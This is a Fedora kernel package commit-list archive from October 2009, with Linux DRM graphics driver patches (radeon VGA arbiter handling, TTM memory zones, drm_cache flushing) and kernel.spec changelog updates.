+#define TTM_MEM_MAX_ZONES 2
+struct ttm_mem_zone;
 struct ttm_mem_global {
+	struct kobject kobj;
 	struct ttm_mem_shrink *shrink;
 	struct workqueue_struct *swap_queue;
 	struct work_struct work;
 	wait_queue_head_t queue;
 	spinlock_t lock;
-	uint64_t emer_memory;
-	uint64_t max_memory;
-	uint64_t swap_limit;
-	uint64_t used_memory;
-	uint64_t used_total_memory;
-	uint64_t total_memory_swap_limit;
-	uint64_t max_total_memory;
-	uint64_t emer_total_memory;
+	struct ttm_mem_zone *zones[TTM_MEM_MAX_ZONES];
+	unsigned int num_zones;
+	struct ttm_mem_zone *zone_kernel;
+#ifdef CONFIG_HIGHMEM
+	struct ttm_mem_zone *zone_highmem;
+#else
+	struct ttm_mem_zone *zone_dma32;
+#endif
 };
 
 /**
@@ -146,8 +146,13 @@ static inline void ttm_mem_unregister_shrink(struct ttm_mem_global *glob,
 extern int ttm_mem_global_init(struct ttm_mem_global *glob);
 extern void ttm_mem_global_release(struct ttm_mem_global *glob);
 extern int ttm_mem_global_alloc(struct ttm_mem_global *glob, uint64_t memory,
-				bool no_wait, bool interruptible, bool himem);
+				bool no_wait, bool interruptible);
 extern void ttm_mem_global_free(struct ttm_mem_global *glob,
-				uint64_t amount, bool himem);
+				uint64_t amount);
+extern int ttm_mem_global_alloc_page(struct ttm_mem_global *glob,
+				     struct page *page,
+				     bool no_wait, bool interruptible);
+extern void ttm_mem_global_free_page(struct ttm_mem_global *glob,
+				     struct page *page);
 extern size_t ttm_round_pot(size_t size);
 #endif
diff --git a/include/drm/ttm/ttm_module.h b/include/drm/ttm/ttm_module.h
index d1d4338..cf416ae 100644
--- a/include/drm/ttm/ttm_module.h
+++ b/include/drm/ttm/ttm_module.h
@@ -32,6 +32,7 @@
 #define _TTM_MODULE_H_
 
 #include <linux/kernel.h>
+struct kobject;
 
 #define TTM_PFX "[TTM] "
 
@@ -54,5 +55,6 @@ extern void ttm_global_init(void);
 extern void ttm_global_release(void);
 extern int ttm_global_item_ref(struct ttm_global_reference *ref);
 extern void ttm_global_item_unref(struct ttm_global_reference *ref);
+extern struct kobject *ttm_get_kobj(void);
 
 #endif /* _TTM_MODULE_H_ */

drm-radeon-kms-arbiter-return-ignore.patch:
 radeon_device.c |    8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

--- NEW FILE drm-radeon-kms-arbiter-return-ignore.patch ---
>From 93239ea158368016a017200cb133e1057fb3ef89 Mon Sep 17 00:00:00 2001
From: Dave Airlie <airlied at redhat.com>
Date: Wed, 28 Oct 2009 11:09:58 +1000
Subject: [PATCH 1/3] drm/radeon/kms: ignore vga arbiter return.

Since we register all radeon devices, and the arbiter only cares about
VGA class ones, we will fail to startup on display controller class devices.
We don't gain anything by using the return value here.

this helps kms on sparc64 get started.

Reported-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Dave Airlie <airlied at redhat.com>
---
 drivers/gpu/drm/radeon/radeon_device.c |    7 +++----
 1 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/drivers/gpu/drm/radeon/radeon_device.c b/drivers/gpu/drm/radeon/radeon_device.c
index 3d66703..df98814 100644
--- a/drivers/gpu/drm/radeon/radeon_device.c
+++ b/drivers/gpu/drm/radeon/radeon_device.c
@@ -582,10 +582,9 @@ int radeon_device_init(struct radeon_device *rdev,
 	DRM_INFO("register mmio size: %u\n", (unsigned)rdev->rmmio_size);
 
 	/* if we have > 1 VGA cards, then disable the radeon VGA resources */
-	r = vga_client_register(rdev->pdev, rdev, NULL, radeon_vga_set_decode);
-	if (r) {
-		return -EINVAL;
-	}
+	/* this will fail for cards that aren't VGA class devices, just
+	 * ignore it */
+	vga_client_register(rdev->pdev, rdev, NULL, radeon_vga_set_decode);
 
 	r = radeon_init(rdev);
 	if (r)
-- 
1.6.5.1



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1888
retrieving revision 1.1889
diff -u -p -r1.1888 -r1.1889
--- kernel.spec	27 Oct 2009 15:42:23 -0000	1.1888
+++ kernel.spec	28 Oct 2009 05:59:33 -0000	1.1889
@@ -687,7 +687,7 @@ Patch1586: linux-2.6-virtio_blk-add-supp
 
 # nouveau + drm fixes
 Patch1810: kms-offb-handoff.patch
-Patch1812: drm-next-3e5cb98d.patch
+Patch1812: drm-next-fc7f7119.patch
 Patch1813: drm-radeon-pm.patch
 Patch1814: drm-nouveau.patch
 Patch1818: drm-i915-resume-force-mode.patch
@@ -696,6 +696,7 @@ Patch1824: drm-intel-next.patch
 Patch1825: drm-intel-pm.patch
 Patch1826: drm-intel-no-tv-hotplug.patch
 Patch1827: drm-disable-r600-aspm.patch
+Patch1828: drm-radeon-kms-arbiter-return-ignore.patch
 
 # vga arb
 Patch1900: linux-2.6-vga-arb.patch
@@ -1378,7 +1379,7 @@ ApplyPatch linux-2.6-e1000-ich9.patch
 
 # Nouveau DRM + drm fixes
 ApplyPatch kms-offb-handoff.patch
-ApplyPatch drm-next-3e5cb98d.patch
+ApplyPatch drm-next-fc7f7119.patch
 
 ApplyPatch drm-nouveau.patch
 # pm broken on my thinkpad t60p - airlied
@@ -1393,6 +1394,7 @@ ApplyPatch drm-disable-r600-aspm.patch
 # VGA arb + drm
 ApplyPatch linux-2.6-vga-arb.patch
 ApplyPatch drm-vga-arb.patch
+ApplyPatch drm-radeon-kms-arbiter-return-ignore.patch
 
 # linux1394 git patches
 #ApplyPatch linux-2.6-firewire-git-update.patch
@@ -2100,6 +2102,10 @@ fi
 # and build.
 
 %changelog
+* Wed Oct 28 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-103
+- drm-next-fc7f7119.patch: fix oops in SS code, fix multi-card, dvo.
+- drm-radeon-kms-arbiter-return-ignore.patch: fix arbiter for non-VGA display
+
 * Tue Oct 27 2009 Chuck Ebbert <cebbert at redhat.com>
 - Fix oops in VIA padlock-aes code.
 


--- drm-next-3e5cb98d.patch DELETED ---



From airlied at fedoraproject.org  Wed Oct 28 06:09:47 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Wed, 28 Oct 2009 06:09:47 +0000 (UTC)
Subject: rpms/kernel/F-12 drm-next-ea1495a6.patch, NONE, 1.1 kernel.spec,
	1.1889, 1.1890 drm-next-fc7f7119.patch, 1.1, NONE
Message-ID: <20091028060947.B0F2311C00E5@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20593

Modified Files:
	kernel.spec 
Added Files:
	drm-next-ea1495a6.patch 
Removed Files:
	drm-next-fc7f7119.patch 
Log Message:
* Wed Oct 28 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-104
- drm-next-ea1495a6.patch: fix rs400 resume on my test box


drm-next-ea1495a6.patch:
 b/drivers/gpu/drm/Kconfig                         |   18 
 b/drivers/gpu/drm/Makefile                        |    8 
 b/drivers/gpu/drm/drm_bufs.c                      |    4 
 b/drivers/gpu/drm/drm_cache.c                     |   46 
 b/drivers/gpu/drm/drm_crtc.c                      |   78 
 b/drivers/gpu/drm/drm_crtc_helper.c               |  307 
 b/drivers/gpu/drm/drm_drv.c                       |    4 
 b/drivers/gpu/drm/drm_edid.c                      |  551 
 b/drivers/gpu/drm/drm_encoder_slave.c             |  116 
 b/drivers/gpu/drm/drm_fb_helper.c                 | 1030 
 b/drivers/gpu/drm/drm_gem.c                       |   11 
 b/drivers/gpu/drm/drm_mm.c                        |   21 
 b/drivers/gpu/drm/drm_modes.c                     |  434 
 b/drivers/gpu/drm/drm_proc.c                      |   17 
 b/drivers/gpu/drm/drm_sysfs.c                     |   28 
 b/drivers/gpu/drm/i915/Makefile                   |    2 
 b/drivers/gpu/drm/i915/i915_debugfs.c             |  445 
 b/drivers/gpu/drm/i915/i915_dma.c                 |  100 
 b/drivers/gpu/drm/i915/i915_drv.c                 |    9 
 b/drivers/gpu/drm/i915/i915_drv.h                 |   62 
 b/drivers/gpu/drm/i915/i915_gem.c                 |   14 
 b/drivers/gpu/drm/i915/i915_gem_tiling.c          |   65 
 b/drivers/gpu/drm/i915/i915_irq.c                 |   21 
 b/drivers/gpu/drm/i915/i915_reg.h                 |  139 
 b/drivers/gpu/drm/i915/i915_suspend.c             |    4 
 b/drivers/gpu/drm/i915/intel_bios.c               |    8 
 b/drivers/gpu/drm/i915/intel_crt.c                |   28 
 b/drivers/gpu/drm/i915/intel_display.c            |  608 
 b/drivers/gpu/drm/i915/intel_drv.h                |    9 
 b/drivers/gpu/drm/i915/intel_fb.c                 |  748 
 b/drivers/gpu/drm/i915/intel_i2c.c                |    8 
 b/drivers/gpu/drm/i915/intel_lvds.c               |   22 
 b/drivers/gpu/drm/i915/intel_sdvo.c               |  239 
 b/drivers/gpu/drm/i915/intel_tv.c                 |   30 
 b/drivers/gpu/drm/mga/mga_dma.c                   |    4 
 b/drivers/gpu/drm/mga/mga_drv.h                   |    1 
 b/drivers/gpu/drm/mga/mga_warp.c                  |  180 
 b/drivers/gpu/drm/r128/r128_cce.c                 |  116 
 b/drivers/gpu/drm/r128/r128_drv.h                 |    8 
 b/drivers/gpu/drm/r128/r128_state.c               |   36 
 b/drivers/gpu/drm/radeon/.gitignore               |    3 
 b/drivers/gpu/drm/radeon/Kconfig                  |    1 
 b/drivers/gpu/drm/radeon/Makefile                 |   43 
 b/drivers/gpu/drm/radeon/atombios.h               |   13 
 b/drivers/gpu/drm/radeon/atombios_crtc.c          |  359 
 b/drivers/gpu/drm/radeon/avivod.h                 |   60 
 b/drivers/gpu/drm/radeon/mkregtable.c             |  720 
 b/drivers/gpu/drm/radeon/r100.c                   | 1737 +
 b/drivers/gpu/drm/radeon/r100_track.h             |  183 
 b/drivers/gpu/drm/radeon/r100d.h                  |  714 
 b/drivers/gpu/drm/radeon/r200.c                   |  454 
 b/drivers/gpu/drm/radeon/r300.c                   |  981 
 b/drivers/gpu/drm/radeon/r300d.h                  |  306 
 b/drivers/gpu/drm/radeon/r420.c                   |  305 
 b/drivers/gpu/drm/radeon/r420d.h                  |  249 
 b/drivers/gpu/drm/radeon/r500_reg.h               |   12 
 b/drivers/gpu/drm/radeon/r520.c                   |  281 
 b/drivers/gpu/drm/radeon/r520d.h                  |  187 
 b/drivers/gpu/drm/radeon/r600.c                   | 1838 +
 b/drivers/gpu/drm/radeon/r600_blit.c              |  858 
 b/drivers/gpu/drm/radeon/r600_blit_kms.c          |  805 
 b/drivers/gpu/drm/radeon/r600_blit_shaders.c      | 1072 +
 b/drivers/gpu/drm/radeon/r600_blit_shaders.h      |   14 
 b/drivers/gpu/drm/radeon/r600_cp.c                |  541 
 b/drivers/gpu/drm/radeon/r600_cs.c                |  783 
 b/drivers/gpu/drm/radeon/r600d.h                  |  666 
 b/drivers/gpu/drm/radeon/radeon.h                 |  441 
 b/drivers/gpu/drm/radeon/radeon_asic.h            |  351 
 b/drivers/gpu/drm/radeon/radeon_atombios.c        |  299 
 b/drivers/gpu/drm/radeon/radeon_benchmark.c       |    4 
 b/drivers/gpu/drm/radeon/radeon_bios.c            |   49 
 b/drivers/gpu/drm/radeon/radeon_clocks.c          |   18 
 b/drivers/gpu/drm/radeon/radeon_combios.c         |  187 
 b/drivers/gpu/drm/radeon/radeon_connectors.c      |  646 
 b/drivers/gpu/drm/radeon/radeon_cp.c              |  151 
 b/drivers/gpu/drm/radeon/radeon_cs.c              |  104 
 b/drivers/gpu/drm/radeon/radeon_cursor.c          |   10 
 b/drivers/gpu/drm/radeon/radeon_device.c          |  332 
 b/drivers/gpu/drm/radeon/radeon_display.c         |  168 
 b/drivers/gpu/drm/radeon/radeon_drv.c             |   28 
 b/drivers/gpu/drm/radeon/radeon_drv.h             |  216 
 b/drivers/gpu/drm/radeon/radeon_encoders.c        |  223 
 b/drivers/gpu/drm/radeon/radeon_family.h          |   97 
 b/drivers/gpu/drm/radeon/radeon_fb.c              |  694 
 b/drivers/gpu/drm/radeon/radeon_fence.c           |   49 
 b/drivers/gpu/drm/radeon/radeon_gart.c            |   29 
 b/drivers/gpu/drm/radeon/radeon_ioc32.c           |   15 
 b/drivers/gpu/drm/radeon/radeon_irq.c             |   18 
 b/drivers/gpu/drm/radeon/radeon_irq_kms.c         |   16 
 b/drivers/gpu/drm/radeon/radeon_kms.c             |   74 
 b/drivers/gpu/drm/radeon/radeon_legacy_crtc.c     |  126 
 b/drivers/gpu/drm/radeon/radeon_legacy_encoders.c |  392 
 b/drivers/gpu/drm/radeon/radeon_legacy_tv.c       |  904 
 b/drivers/gpu/drm/radeon/radeon_mode.h            |  105 
 b/drivers/gpu/drm/radeon/radeon_object.c          |   27 
 b/drivers/gpu/drm/radeon/radeon_object.h          |    1 
 b/drivers/gpu/drm/radeon/radeon_reg.h             |   86 
 b/drivers/gpu/drm/radeon/radeon_ring.c            |  143 
 b/drivers/gpu/drm/radeon/radeon_state.c           |   23 
 b/drivers/gpu/drm/radeon/radeon_test.c            |    6 
 b/drivers/gpu/drm/radeon/radeon_ttm.c             |   95 
 b/drivers/gpu/drm/radeon/reg_srcs/r100            |  105 
 b/drivers/gpu/drm/radeon/reg_srcs/r200            |  184 
 b/drivers/gpu/drm/radeon/reg_srcs/r300            |  729 
 b/drivers/gpu/drm/radeon/reg_srcs/rn50            |   30 
 b/drivers/gpu/drm/radeon/reg_srcs/rs600           |  729 
 b/drivers/gpu/drm/radeon/reg_srcs/rv515           |  486 
 b/drivers/gpu/drm/radeon/rs100d.h                 |   40 
 b/drivers/gpu/drm/radeon/rs400.c                  |  331 
 b/drivers/gpu/drm/radeon/rs400d.h                 |  160 
 b/drivers/gpu/drm/radeon/rs600.c                  |  609 
 b/drivers/gpu/drm/radeon/rs600d.h                 |  470 
 b/drivers/gpu/drm/radeon/rs690.c                  |  358 
 b/drivers/gpu/drm/radeon/rs690d.h                 |  307 
 b/drivers/gpu/drm/radeon/rv200d.h                 |   36 
 b/drivers/gpu/drm/radeon/rv250d.h                 |  123 
 b/drivers/gpu/drm/radeon/rv350d.h                 |   52 
 b/drivers/gpu/drm/radeon/rv515.c                  |  881 
 b/drivers/gpu/drm/radeon/rv515d.h                 |  603 
 b/drivers/gpu/drm/radeon/rv770.c                  | 1056 
 b/drivers/gpu/drm/radeon/rv770d.h                 |  346 
 b/drivers/gpu/drm/ttm/ttm_bo.c                    |  295 
 b/drivers/gpu/drm/ttm/ttm_bo_util.c               |    4 
 b/drivers/gpu/drm/ttm/ttm_global.c                |    6 
 b/drivers/gpu/drm/ttm/ttm_memory.c                |  508 
 b/drivers/gpu/drm/ttm/ttm_module.c                |   58 
 b/drivers/gpu/drm/ttm/ttm_tt.c                    |  104 
 b/drivers/video/fbmem.c                           |    2 
 b/firmware/Makefile                               |   16 
 b/firmware/WHENCE                                 |  121 
 b/firmware/matrox/g200_warp.H16                   |   28 
 b/firmware/matrox/g400_warp.H16                   |   44 
 b/firmware/r128/r128_cce.bin.ihex                 |  129 
 b/firmware/radeon/R100_cp.bin.ihex                |  130 
 b/firmware/radeon/R200_cp.bin.ihex                |  130 
 b/firmware/radeon/R300_cp.bin.ihex                |  130 
 b/firmware/radeon/R420_cp.bin.ihex                |  130 
 b/firmware/radeon/R520_cp.bin.ihex                |  130 
 b/firmware/radeon/R600_me.bin.ihex                | 1345 +
 b/firmware/radeon/R600_pfp.bin.ihex               |  145 
 b/firmware/radeon/RS600_cp.bin.ihex               |  130 
 b/firmware/radeon/RS690_cp.bin.ihex               |  130 
 b/firmware/radeon/RS780_me.bin.ihex               | 1345 +
 b/firmware/radeon/RS780_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV610_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV610_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV620_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV620_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV630_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV630_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV635_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV635_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV670_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV670_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV710_me.bin.ihex               |  341 
 b/firmware/radeon/RV710_pfp.bin.ihex              |  213 
 b/firmware/radeon/RV730_me.bin.ihex               |  341 
 b/firmware/radeon/RV730_pfp.bin.ihex              |  213 
 b/firmware/radeon/RV770_me.bin.ihex               |  341 
 b/firmware/radeon/RV770_pfp.bin.ihex              |  213 
 b/include/drm/drmP.h                              |   54 
 b/include/drm/drm_cache.h                         |   38 
 b/include/drm/drm_crtc.h                          |   28 
 b/include/drm/drm_crtc_helper.h                   |   10 
 b/include/drm/drm_encoder_slave.h                 |  162 
 b/include/drm/drm_fb_helper.h                     |  111 
 b/include/drm/drm_mm.h                            |    7 
 b/include/drm/drm_mode.h                          |   11 
 b/include/drm/drm_pciids.h                        |    4 
 b/include/drm/drm_sysfs.h                         |   12 
 b/include/drm/radeon_drm.h                        |   12 
 b/include/drm/ttm/ttm_bo_api.h                    |   13 
 b/include/drm/ttm/ttm_bo_driver.h                 |   94 
 b/include/drm/ttm/ttm_memory.h                    |   43 
 b/include/drm/ttm/ttm_module.h                    |    2 
 drivers/gpu/drm/i915/i915_gem_debugfs.c           |  396 
 drivers/gpu/drm/mga/mga_ucode.h                   |11645 ----------
 drivers/gpu/drm/radeon/r300.h                     |   36 
 drivers/gpu/drm/radeon/r600_microcode.h           |23297 ----------------------
 drivers/gpu/drm/radeon/radeon_microcode.h         | 1844 -
 drivers/gpu/drm/radeon/radeon_share.h             |   39 
 drivers/gpu/drm/radeon/rs690r.h                   |   99 
 drivers/gpu/drm/radeon/rs780.c                    |  102 
 drivers/gpu/drm/radeon/rv515r.h                   |  170 
 184 files changed, 41272 insertions(+), 43800 deletions(-)

--- NEW FILE drm-next-ea1495a6.patch ---
diff --git a/drivers/gpu/drm/Kconfig b/drivers/gpu/drm/Kconfig
index 39b393d..e4d971c 100644
--- a/drivers/gpu/drm/Kconfig
+++ b/drivers/gpu/drm/Kconfig
@@ -18,6 +18,14 @@ menuconfig DRM
 	  details.  You should also select and configure AGP
 	  (/dev/agpgart) support.
 
+config DRM_KMS_HELPER
+	tristate
+	depends on DRM
+	select FB
+	select FRAMEBUFFER_CONSOLE if !EMBEDDED
+	help
+	  FB and CRTC helpers for KMS drivers.
+
 config DRM_TTM
 	tristate
 	depends on DRM
@@ -36,6 +44,7 @@ config DRM_TDFX
 config DRM_R128
 	tristate "ATI Rage 128"
 	depends on DRM && PCI
+	select FW_LOADER
 	help
 	  Choose this option if you have an ATI Rage 128 graphics card.  If M
 	  is selected, the module will be called r128.  AGP support for
@@ -47,8 +56,9 @@ config DRM_RADEON
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
-	select FB
-	select FRAMEBUFFER_CONSOLE if !EMBEDDED
+	select FW_LOADER
+        select DRM_KMS_HELPER
+        select DRM_TTM
 	help
 	  Choose this option if you have an ATI Radeon graphics card.  There
 	  are both PCI and AGP versions.  You don't need to choose this to
@@ -82,11 +92,10 @@ config DRM_I830
 config DRM_I915
 	tristate "i915 driver"
 	depends on AGP_INTEL
+	select DRM_KMS_HELPER
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
-	select FB
-	select FRAMEBUFFER_CONSOLE if !EMBEDDED
 	# i915 depends on ACPI_VIDEO when ACPI is enabled
 	# but for select to work, need to select ACPI_VIDEO's dependencies, ick
 	select VIDEO_OUTPUT_CONTROL if ACPI
@@ -116,6 +125,7 @@ endchoice
 config DRM_MGA
 	tristate "Matrox g200/g400"
 	depends on DRM
+	select FW_LOADER
 	help
 	  Choose this option if you have a Matrox G200, G400 or G450 graphics
 	  card.  If M is selected, the module will be called mga.  AGP
diff --git a/drivers/gpu/drm/Makefile b/drivers/gpu/drm/Makefile
index fe23f29..3c8827a 100644
--- a/drivers/gpu/drm/Makefile
+++ b/drivers/gpu/drm/Makefile
@@ -10,11 +10,15 @@ drm-y       :=	drm_auth.o drm_bufs.o drm_cache.o \
 		drm_lock.o drm_memory.o drm_proc.o drm_stub.o drm_vm.o \
 		drm_agpsupport.o drm_scatter.o ati_pcigart.o drm_pci.o \
 		drm_sysfs.o drm_hashtab.o drm_sman.o drm_mm.o \
-		drm_crtc.o drm_crtc_helper.o drm_modes.o drm_edid.o \
-		drm_info.o drm_debugfs.o
+		drm_crtc.o drm_modes.o drm_edid.o \
+		drm_info.o drm_debugfs.o drm_encoder_slave.o
 
 drm-$(CONFIG_COMPAT) += drm_ioc32.o
 
+drm_kms_helper-y := drm_fb_helper.o drm_crtc_helper.o
+
+obj-$(CONFIG_DRM_KMS_HELPER) += drm_kms_helper.o
+
 obj-$(CONFIG_DRM)	+= drm.o
 obj-$(CONFIG_DRM_TTM)	+= ttm/
 obj-$(CONFIG_DRM_TDFX)	+= tdfx/
diff --git a/drivers/gpu/drm/drm_bufs.c b/drivers/gpu/drm/drm_bufs.c
index 6246e3f..3d09e30 100644
--- a/drivers/gpu/drm/drm_bufs.c
+++ b/drivers/gpu/drm/drm_bufs.c
@@ -310,10 +310,10 @@ static int drm_addmap_core(struct drm_device * dev, resource_size_t offset,
 			  (unsigned long long)map->offset, map->size);
 
 		break;
+	}
 	case _DRM_GEM:
-		DRM_ERROR("tried to rmmap GEM object\n");
+		DRM_ERROR("tried to addmap GEM object\n");
 		break;
-	}
 	case _DRM_SCATTER_GATHER:
 		if (!dev->sg) {
 			kfree(map);
diff --git a/drivers/gpu/drm/drm_cache.c b/drivers/gpu/drm/drm_cache.c
index 0e994a0..0e3bd5b 100644
--- a/drivers/gpu/drm/drm_cache.c
+++ b/drivers/gpu/drm/drm_cache.c
@@ -45,6 +45,23 @@ drm_clflush_page(struct page *page)
 		clflush(page_virtual + i);
 	kunmap_atomic(page_virtual, KM_USER0);
 }
+
+static void drm_cache_flush_clflush(struct page *pages[],
+				    unsigned long num_pages)
+{
+	unsigned long i;
+
+	mb();
+	for (i = 0; i < num_pages; i++)
+		drm_clflush_page(*pages++);
+	mb();
+}
+
+static void
+drm_clflush_ipi_handler(void *null)
+{
+	wbinvd();
+}
 #endif
 
 void
@@ -53,17 +70,30 @@ drm_clflush_pages(struct page *pages[], unsigned long num_pages)
 
 #if defined(CONFIG_X86)
 	if (cpu_has_clflush) {
-		unsigned long i;
-
-		mb();
-		for (i = 0; i < num_pages; ++i)
-			drm_clflush_page(*pages++);
-		mb();
-
+		drm_cache_flush_clflush(pages, num_pages);
 		return;
 	}
 
-	wbinvd();
+	if (on_each_cpu(drm_clflush_ipi_handler, NULL, 1) != 0)
+		printk(KERN_ERR "Timed out waiting for cache flush.\n");
+
+#elif defined(__powerpc__)
+	unsigned long i;
+	for (i = 0; i < num_pages; i++) {
+		struct page *page = pages[i];
+		void *page_virtual;
+
+		if (unlikely(page == NULL))
+			continue;
+
+		page_virtual = kmap_atomic(page, KM_USER0);
+		flush_dcache_range((unsigned long)page_virtual,
+				   (unsigned long)page_virtual + PAGE_SIZE);
+		kunmap_atomic(page_virtual, KM_USER0);
+	}
+#else
+	printk(KERN_ERR "Architecture has no drm_cache.c support\n");
+	WARN_ON_ONCE(1);
 #endif
 }
 EXPORT_SYMBOL(drm_clflush_pages);
diff --git a/drivers/gpu/drm/drm_crtc.c b/drivers/gpu/drm/drm_crtc.c
index 2f631c7..5cae0b3 100644
--- a/drivers/gpu/drm/drm_crtc.c
+++ b/drivers/gpu/drm/drm_crtc.c
@@ -68,10 +68,10 @@ DRM_ENUM_NAME_FN(drm_get_dpms_name, drm_dpms_enum_list)
  */
 static struct drm_prop_enum_list drm_scaling_mode_enum_list[] =
 {
-	{ DRM_MODE_SCALE_NON_GPU, "Non-GPU" },
-	{ DRM_MODE_SCALE_FULLSCREEN, "Fullscreen" },
-	{ DRM_MODE_SCALE_NO_SCALE, "No scale" },
-	{ DRM_MODE_SCALE_ASPECT, "Aspect" },
+	{ DRM_MODE_SCALE_NONE, "None" },
+	{ DRM_MODE_SCALE_FULLSCREEN, "Full" },
+	{ DRM_MODE_SCALE_CENTER, "Center" },
+	{ DRM_MODE_SCALE_ASPECT, "Full aspect" },
 };
 
 static struct drm_prop_enum_list drm_dithering_mode_enum_list[] =
@@ -108,6 +108,7 @@ static struct drm_prop_enum_list drm_tv_select_enum_list[] =
 	{ DRM_MODE_SUBCONNECTOR_Composite, "Composite" }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_SVIDEO,    "SVIDEO"    }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_Component, "Component" }, /* TV-out */
+	{ DRM_MODE_SUBCONNECTOR_SCART,     "SCART"     }, /* TV-out */
 };
 
 DRM_ENUM_NAME_FN(drm_get_tv_select_name, drm_tv_select_enum_list)
@@ -118,6 +119,7 @@ static struct drm_prop_enum_list drm_tv_subconnector_enum_list[] =
 	{ DRM_MODE_SUBCONNECTOR_Composite, "Composite" }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_SVIDEO,    "SVIDEO"    }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_Component, "Component" }, /* TV-out */
+	{ DRM_MODE_SUBCONNECTOR_SCART,     "SCART"     }, /* TV-out */
 };
[...93470 lines suppressed...]
+ */
+
+struct ttm_bo_global {
+
+	/**
+	 * Constant after init.
+	 */
+
+	struct kobject kobj;
+	struct ttm_mem_global *mem_glob;
+	struct page *dummy_read_page;
+	struct ttm_mem_shrink shrink;
+	size_t ttm_bo_extra_size;
+	size_t ttm_bo_size;
+	struct mutex device_list_mutex;
+	spinlock_t lru_lock;
+
+	/**
+	 * Protected by device_list_mutex.
+	 */
+	struct list_head device_list;
+
+	/**
+	 * Protected by the lru_lock.
+	 */
+	struct list_head swap_lru;
+
+	/**
+	 * Internal protection.
+	 */
+	atomic_t bo_count;
+};
+
+
+#define TTM_NUM_MEM_TYPES 8
+
+#define TTM_BO_PRIV_FLAG_MOVING  0	/* Buffer object is moving and needs
+					   idling before CPU mapping */
+#define TTM_BO_PRIV_FLAG_MAX 1
+/**
+ * struct ttm_bo_device - Buffer object driver device-specific data.
+ *
+ * @driver: Pointer to a struct ttm_bo_driver struct setup by the driver.
  * @man: An array of mem_type_managers.
  * @addr_space_mm: Range manager for the device address space.
  * lru_lock: Spinlock that protects the buffer+device lru lists and
@@ -399,32 +449,21 @@ struct ttm_bo_device {
 	/*
 	 * Constant after bo device init / atomic.
 	 */
-
-	struct ttm_mem_global *mem_glob;
+	struct list_head device_list;
+	struct ttm_bo_global *glob;
 	struct ttm_bo_driver *driver;
-	struct page *dummy_read_page;
-	struct ttm_mem_shrink shrink;
-
-	size_t ttm_bo_extra_size;
-	size_t ttm_bo_size;
-
 	rwlock_t vm_lock;
+	struct ttm_mem_type_manager man[TTM_NUM_MEM_TYPES];
 	/*
 	 * Protected by the vm lock.
 	 */
-	struct ttm_mem_type_manager man[TTM_NUM_MEM_TYPES];
 	struct rb_root addr_space_rb;
 	struct drm_mm addr_space_mm;
 
 	/*
-	 * Might want to change this to one lock per manager.
-	 */
-	spinlock_t lru_lock;
-	/*
-	 * Protected by the lru lock.
+	 * Protected by the global:lru lock.
 	 */
 	struct list_head ddestroy;
-	struct list_head swap_lru;
 
 	/*
 	 * Protected by load / firstopen / lastclose /unload sync.
@@ -640,6 +679,9 @@ extern int ttm_bo_pci_offset(struct ttm_bo_device *bdev,
 			     unsigned long *bus_offset,
 			     unsigned long *bus_size);
 
+extern void ttm_bo_global_release(struct ttm_global_reference *ref);
+extern int ttm_bo_global_init(struct ttm_global_reference *ref);
+
 extern int ttm_bo_device_release(struct ttm_bo_device *bdev);
 
 /**
@@ -657,7 +699,7 @@ extern int ttm_bo_device_release(struct ttm_bo_device *bdev);
  * !0: Failure.
  */
 extern int ttm_bo_device_init(struct ttm_bo_device *bdev,
-			      struct ttm_mem_global *mem_glob,
+			      struct ttm_bo_global *glob,
 			      struct ttm_bo_driver *driver,
 			      uint64_t file_page_offset, bool need_dma32);
 
diff --git a/include/drm/ttm/ttm_memory.h b/include/drm/ttm/ttm_memory.h
index d8b8f04..6983a7c 100644
--- a/include/drm/ttm/ttm_memory.h
+++ b/include/drm/ttm/ttm_memory.h
@@ -32,6 +32,7 @@
 #include <linux/spinlock.h>
 #include <linux/wait.h>
 #include <linux/errno.h>
+#include <linux/kobject.h>
 
 /**
  * struct ttm_mem_shrink - callback to shrink TTM memory usage.
@@ -60,34 +61,33 @@ struct ttm_mem_shrink {
  * @queue: Wait queue for processes suspended waiting for memory.
  * @lock: Lock to protect the @shrink - and the memory accounting members,
  * that is, essentially the whole structure with some exceptions.
- * @emer_memory: Lowmem memory limit available for root.
- * @max_memory: Lowmem memory limit available for non-root.
- * @swap_limit: Lowmem memory limit where the shrink workqueue kicks in.
- * @used_memory: Currently used lowmem memory.
- * @used_total_memory: Currently used total (lowmem + highmem) memory.
- * @total_memory_swap_limit: Total memory limit where the shrink workqueue
- * kicks in.
- * @max_total_memory: Total memory available to non-root processes.
- * @emer_total_memory: Total memory available to root processes.
+ * @zones: Array of pointers to accounting zones.
+ * @num_zones: Number of populated entries in the @zones array.
+ * @zone_kernel: Pointer to the kernel zone.
+ * @zone_highmem: Pointer to the highmem zone if there is one.
+ * @zone_dma32: Pointer to the dma32 zone if there is one.
  *
  * Note that this structure is not per device. It should be global for all
  * graphics devices.
  */
 
+#define TTM_MEM_MAX_ZONES 2
+struct ttm_mem_zone;
 struct ttm_mem_global {
+	struct kobject kobj;
 	struct ttm_mem_shrink *shrink;
